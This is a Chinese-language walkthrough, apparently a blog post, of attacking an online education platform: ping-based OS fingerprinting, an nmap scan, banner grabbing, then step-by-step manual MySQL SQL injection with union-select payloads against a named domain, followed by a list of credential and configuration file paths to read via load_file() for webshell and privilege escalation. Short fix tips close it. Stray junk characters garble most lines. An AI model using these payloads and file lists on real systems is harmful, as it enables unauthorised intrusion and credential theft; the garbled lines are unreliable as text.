题记:
. b$ T- A D! ?7 y2 c' D一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……- D# X( ?( l- I* m0 a
第一步:获取需要的信息8 |" @1 b) ^* V
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。4 h# m3 y3 e4 H" ]: H) f' \
注:以下为保护特用XXX代替敏感信息5 H. p" w( N3 I, D1 j o: G
顺手先PING了一下他们的域名:
9 }9 r, H6 o" Y0 p9 ]" s% bping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)% W6 f7 j# h3 a$ Q" h
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms* Q: u9 C) q7 |
顺便了解一下TTL,学好基础知识才能一路顺风:$ ?4 v2 Q9 j$ R! }* f
TTL:(Time To Live ) 生存时间
2 @9 s) }$ u! q% b! W2 z( X指定数据包被路由器丢弃之前允许通过的网段数量。# r4 C; l' Z2 b- J+ J7 h' V+ d2 f
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。$ L: W) a* m( y: m* i
使用PING时涉及到的 ICMP 报文类型$ f; O' v ^+ u+ R8 F
一个为ICMP请求回显(ICMP Echo Request)
! n! H: v6 G4 r" C5 y一个为ICMP回显应答(ICMP Echo Reply)8 O0 ]2 x# {4 w& d6 k' A
TTL 字段值可以帮助我们识别操作系统类型。2 f' N7 j6 V8 V3 C k1 f
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 2559 K. o7 v2 c, O$ O1 }! }( [
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
: h( w' }$ \% ?3 |7 z3 V" b微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128& K& ^# ] w4 V$ T( x5 u9 B
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
9 Y$ p5 I% B z当然,返回的TTL值是相同的
6 l2 [4 V4 K& F; \ k但有些情况下有所特殊$ r, J! \8 }6 H$ w1 w- N
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64- _# X( @/ k$ ~% a, ^/ q3 W# ~. `
FreeBSD 4.1, 4.0, 3.4;' Y2 {" G, f6 ^) i8 O
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
2 [7 b7 C: J0 V; P; @/ kOpenBSD 2.6, 2.7,. {" B' _" k) J8 E: \$ w
NetBSD
% \7 Y; n# v |, IHP UX 10.208 \1 n! v1 D1 P
ICMP 回显应答的 TTL 字段值为 255
- C% d( r% Q, V# pWindows 95/98/98SE- J4 i1 A9 p$ e# @
Windows ME' l; N# O! a. [$ c" m
ICMP 回显应答的 TTL 字段值为 32
1 R* F+ O: t, }) EWindows NT4 WRKS1 n' ~8 x5 q. i/ j
Windows NT4 Server
) J" X2 I! T, s+ G5 P! jWindows 2000
0 V( a3 h) t) I( h% EWindows XP
6 x( S+ N5 W2 j8 l: LICMP 回显应答的 TTL 字段值为 128
7 x1 s5 K7 z7 }; Q2 B% c这样,我们就可以通过这种方法来辨别操作系统$ \ i/ M% A( N2 _9 C8 \! W! y* `. d
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
& o! b- N0 Z) n- L( f0 V用NMAP扫描一下:
# ?4 m; Z# O: |% Lnmap -sT -O XXX.XXX.XXX.XXX
|8 s4 k7 h% K3 z) f; L如果没有装WinPcap则会弹出提示:3 L' c* z- Q8 z5 W3 \. c+ {8 R: U
WARNING: Could not import all necessary WinPcap functions. You may need to upgr5 b0 C9 |* ^6 d0 `7 s7 ~# ]7 u7 ~
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(* w- Y3 s# p* K5 p7 _
) mode — Nmap may not function completely7 O J# \: e1 g8 a0 d$ W
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
+ |8 c1 k; A: uand iphlpapi.dll be installed. You seem to be missing one or both of these. Win% ]! S) V- H4 D( `
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an$ C2 b% q& c) w8 [
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v5 Q7 b5 S/ t' Q5 j& h
ersions, you may be able to take iphlpapi.dll from another system and place it i! N, W& k5 K! R) j9 v+ {
n your system32 dir (e.g. c:\windows\system32).3 n3 R4 F! }2 b( ~6 Z
QUITTING!
8 O: [2 _' E3 L& L到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
5 [3 h6 U- D/ ~. i安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
% D- y9 n( u, g9 g; SInteresting ports on XXX.XXX.XXX.XXX:
' d, D: H' r/ v. s- V! D& W- lNot shown: 986 closed ports6 {4 o! V1 x$ H5 F8 g) K
PORT STATE SERVICE5 c0 N( N- u1 ?+ D- C- t
21/tcp open ftp
# K" x7 h& b$ ~4 m! ^* }0 i0 M22/tcp open ssh
" ~; U, d* n/ t- y( B U1 o, d23/tcp open telnet
8 j9 R, }6 O; G' {( `0 F80/tcp open http
+ ?4 p$ T1 h7 H: X/ b111/tcp open rpcbind
5 n1 O9 f+ [- u0 J8 @% r135/tcp filtered msrpc
' U0 t, |. Z# E& R9 _% d139/tcp filtered netbios-ssn7 O# E3 K7 `" I0 `8 \2 _
445/tcp filtered microsoft-ds* u- G$ J! \ ?. d9 N/ x
513/tcp open login& r1 A- [7 V% U0 H! l! Z8 k
514/tcp open shell
" s/ R+ P+ q) [' p) z593/tcp filtered http-rpc-epmap- V9 [& V5 ~; i: P; s5 l6 f
1720/tcp filtered H.323/Q.931
9 w3 O! z6 G/ t" a3306/tcp open mysql& _3 a/ y8 A1 ^) O$ g4 E3 @: ` b- p
4444/tcp filtered krb524
& _: l" Z( L! X' J/ Q# @2 xDevice type: WAP
- `& X7 @0 C" t# Q3 f- \( NRunning: Linux 2.4.X3 F( l, @: q+ _+ Z$ w8 \, `" x
OS details: DD-WRT (Linux 2.4.35s)
1 S5 \& R' N* zNetwork Distance: 13 hops
0 Y, ], M F" _看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:; ?9 F3 z. V$ v* ~4 f& Y5 e0 ]
login as:8 g/ s* q- _8 {5 b
Telnet23端口也是开着的,用telnet 命令链接一下:
% |( G' y. u& W. d& H1 ]telnet XXX.XXX.XXX.XXX5 @! E/ B: w$ X2 Z
提示:
5 ^' F u4 f2 `Red Hat Enterprise Linux Server release 5.2 (Tikanga)
7 f5 `% b4 R- `Kernel 2.6.18-92.el5PAE on an i686
3 _9 [4 N, v3 I- e7 G2 ^login:- F6 `5 P: A; g
获取HTTP头信息:9 Y' x' y! J, Y! I
在本地执行如下PHP代码' J* Y9 n7 H* b. K0 r3 b* a
<?php3 ?' r9 L# i! i. t: q# M
$url = ‘XXX.XXX.XXX.XXX’;8 @) D5 @8 h: k- Y) [3 Y5 `
print_r(get_headers($url));" x9 z! h( d8 z; X4 w) G9 _- \: }
print_r(get_headers($url, 1));! j. f5 Z( m) q4 C( d
?>: x4 L% a8 y4 t: h5 E6 X# }0 [. ~: y
将以上代码保存为PHP文件,执行:
5 a. g" F/ H& Y- \( \$ y# WArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )! O; f" _0 C, K7 T9 S4 a) L" b
现在可以得出结论:
+ y( d% L/ m* I* P" x) X' r, @4 }系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
! s0 I) k7 J. y' d; x b内核版本:Kernel 2.6.18-92.el5PAE on an i6868 J$ D" A/ ] {& d4 m0 y: D
WEB服务器版本:nginx/0.7.61
2 s6 C9 e4 h: A! h4 S9 ^9 e第二步,开始测试寻找漏洞
3 j; o1 \; g8 M5 ^; T分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
* E7 a% M9 G8 p) W! g( C# b/ s1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的, H& n, A6 W3 Q7 G
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试 D3 D) s9 c7 ~5 [1 e$ E2 S
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常) _! |% V4 X) P" J. P2 u2 D* h
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误2 ~1 @# [" V# Q& w; `. H6 S
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续1 H' |3 r% t! }& ~( \- Y0 k
3、手工注入:$ ]8 V& \. T# X+ ?2 h- j
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
- Z8 h6 p+ J( A0 M O' C8 r7 T4 I3.1 猜测当前表字段数
) b4 V/ L/ B6 d+ S3 Z E4 Q" d6 bhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10! A/ Y. J# [0 {, g8 w, k3 d
此处猜测有个简单的算法,都是有技巧的吗,呵呵) ]/ ^1 D$ ?/ k& w6 n, N' u
算法简单如下:
; {$ w$ k7 G& s第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;2 ^( C' P) i' z- }7 U4 S1 W4 |
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;, p) F# f- J/ k
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。- [& _8 @1 C& W3 I9 e# \
以此来判断,是否过界,配合取中算法猜出字段数。; ?! Z- f- F% ~2 m& p+ i6 L
举例:
3 c o T; ^+ q2 X- d4 ehttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常1 h( `9 a* p: O/ z
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
: u0 ^) X8 ]! @" z: t, e7 Z2 B此时3则为我们要找的字段数。. X6 j% ]. ?9 u+ P+ |3 {
3.2 配合union联合查询字段在页面所位置
4 {4 s( A6 v! t8 X( C我们已经知道了字段数为3,此时则可以做如下操作:+ R7 ^# L% D5 e; c1 V2 ~: y2 v7 v
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,39 N3 x7 A9 [% A& Q* ?
" q. |. B/ c& U0 m
这样就可以测试到哪些字段在页面上有所显示了,如图:$ p# F, n! X) q% ?! v
5 y# K+ v9 K. Y) r. a! {7 K" _/ _
3.3 查敏感信息) M, r+ L6 b+ k8 d" P
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
+ w, G7 j- h, ?) m! A6 g" Fhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
9 }2 u- N2 `! t! s+ `3.3.1 先查数据库用户、数据库名,以备后用,如图:. \& V2 o7 ^! V! e+ l3 w5 d6 t
! P& y N) l$ C1 p2 \3 Y3 j得到数据库用户为root、数据库名为DBxx; R" F5 m% h* A& ]: V1 m
3.3.2 查配置文件1 [6 m, }2 C; ?' x8 W1 x2 M9 s
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。, D {! M* r- h3 t
查看文件有一定的条件限制:" }8 ?8 O# Z3 G/ h$ ~$ f
欲读取文件必须在服务器上
/ _: M) t6 @) b2 H必须指定文件完整的路径' h* Q' a2 a4 T0 m6 u) w
必须有权限读取并且文件必须完全可读% A9 ^5 K% Q3 J9 y5 M
欲读取文件必须小于 max_allowed_packet* V: _7 K4 p* [- q- M2 ^
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。6 V0 @/ D4 S; d4 L
常用的一些:/ ^; B, O! Q9 `" _
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
& k( x! c3 h4 @* k; f/ @, g* o2 \4 j/usr/local/apache2/conf/httpd.conf
7 V' A7 U5 n B/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
$ ?" r4 V" t6 J [9 H/usr/local/app/php5/lib/php.ini //PHP相关设置. E, F8 |% p8 u. k1 u
/etc/sysconfig/iptables //从中得到防火墙规则策略' R% H; o' i x
/etc/httpd/conf/httpd.conf // apache配置文件 W5 Y7 j- x5 e$ |( N
/etc/rsyncd.conf //同步程序配置文件" d( G; |3 [* ~$ y
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP. u; j: R9 T, {+ ^
/etc/my.cnf //mysql的配置文件 G# o- E8 |, j: n4 E; K
/etc/redhat-release //系统版本8 }' \9 Y v6 M* V" ?
/etc/issue2 H, B# r+ u: w# f4 q3 r
/etc/issue.net
3 |3 q7 ]4 |/ q4 }. i" E/ yc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
) p3 @9 V5 Z8 O1 Fc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码5 T$ V; f" g: h: Y( X2 D2 L
c:\Program Files\Serv-U\ServUDaemon.ini
8 f/ N+ `) L( ~* e# Z; D( pc:\windows\my.ini //MYSQL配置文件
( A; W; x6 |( R7 I5 C7 kc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件0 M7 t4 p+ _* B% r3 Y5 C
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
5 M6 S0 G2 s, t5 m4 A8 B) dc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码6 R4 B ^+ K( h) y; F
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
+ V( @! s# q( i" _ u1 N a# G- u# a; ?c:\Program Files\RhinoSoft.com\ServUDaemon.exe: Y7 l# [8 I: t+ `: D9 s
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件# I$ A1 m* a# }! i1 V( m
//存储了pcAnywhere的登陆密码
8 w, y W3 C( c! }7 B由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。: S' t; o8 F) S# q. s
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。& u% Q5 y- g7 Q$ s: W9 w. [4 l
最后:防范措施
% ^( `* D5 L& C. Z1、修复PHP注入漏洞;
# ^( n4 b# R' W7 l5 H" j% s2、Mysql使用普通权限的用户;
$ S8 W# V: I+ x3、升级linux内核至最新版本; |